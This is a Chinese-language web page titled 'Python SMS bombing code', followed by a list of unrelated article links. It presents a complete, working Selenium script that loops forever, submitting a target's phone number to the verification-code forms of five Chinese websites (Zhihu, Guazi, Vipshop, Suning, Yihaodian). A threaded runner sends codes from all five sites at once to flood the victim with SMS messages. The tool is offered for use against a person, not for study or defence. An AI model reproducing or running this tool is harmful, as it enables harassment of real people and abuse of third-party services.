Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python中使用百度音乐搜索的api下载指定歌曲的lrc歌词
Jul 18 Python
python实现的守护进程(Daemon)用法实例
Jun 02 Python
Python读取Json字典写入Excel表格的方法
Jan 03 Python
Python系统监控模块psutil功能与经典用法分析
May 24 Python
对python生成业务报表的实例详解
Feb 03 Python
Python脚本去除文件的只读性操作
Mar 05 Python
Python连接Impala实现步骤解析
Aug 04 Python
Pycharm调试程序技巧小结
Aug 08 Python
Python实现自动签到脚本功能
Aug 20 Python
Pycharm 如何一键加引号的方法步骤
Feb 05 Python
Pycharm制作搞怪弹窗的实现代码
Feb 19 Python
python基础学习之递归函数知识总结
May 26 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
THINKPHP支持YAML配置文件的设置方法
2015/03/17 PHP
浅析Yii2缓存的使用
2016/05/10 PHP
Yii框架的路由配置方法分析
2019/09/09 PHP
PHP设计模式之数据访问对象模式(DAO)原理与用法实例分析
2019/12/12 PHP
JS字符串累加Array不一定比字符串累加快(根据电脑配置)
2012/05/14 Javascript
深入理解JavaScript系列(18):面向对象编程之ECMAScript实现
2015/03/05 Javascript
jQuery easyui的validatebox校验规则扩展及easyui校验框validatebox用法
2016/01/18 Javascript
js实现HashTable(哈希表)的实例分析
2016/11/21 Javascript
微信小程序遇到修改数据后页面不渲染的问题解决
2017/03/09 Javascript
ES6中module模块化开发实例浅析
2017/04/06 Javascript
从零开始学习Node.js系列教程之基于connect和express框架的多页面实现数学运算示例
2017/04/13 Javascript
JavaScript使用闭包模仿块级作用域操作示例
2019/01/21 Javascript
JS 数组和对象的深拷贝操作示例
2020/06/06 Javascript
简单实现python进度条脚本
2017/12/18 Python
pandas 按照特定顺序输出的实现代码
2018/07/10 Python
django.db.utils.ProgrammingError: (1146, u“Table‘’ doesn’t exist”)问题的解决
2018/07/13 Python
Python使用__new__()方法为对象分配内存及返回对象的引用示例
2019/09/20 Python
Python post请求实现代码实例
2020/02/28 Python
详解Python中namedtuple的使用
2020/04/27 Python
小结Python的反射机制
2020/09/28 Python
python自动化测试三部曲之request+django实现接口测试
2020/10/07 Python
Python的logging模块基本用法
2020/12/24 Python
家庭户外服装:Hawkshead
2017/11/02 全球购物
实习护理工作自我评价
2013/09/25 职场文书
医学专业毕业生求职信
2014/06/20 职场文书
爱心捐书活动总结
2014/07/05 职场文书
求职自我评价范文100字
2014/09/23 职场文书
《海上日出》教学反思
2016/02/23 职场文书
关于战胜挫折的名言警句大全!
2019/07/05 职场文书
小学四年级作文之人物作文
2019/11/06 职场文书
详解Js模块化的作用原理和方案
2021/04/29 Javascript
my.ini优化mysql数据库性能的十个参数(推荐)
2021/05/26 MySQL
浅谈spring boot使用thymeleaf版本的问题
2021/08/04 Java/Android
nginx共享内存的机制详解
2022/03/21 Servers
vue使用wavesurfer.js解决音频可视化播放问题
2022/04/04 Vue.js
NASA 机智号火星直升机拍到了毅力号设备碎片
2022/04/29 数码科技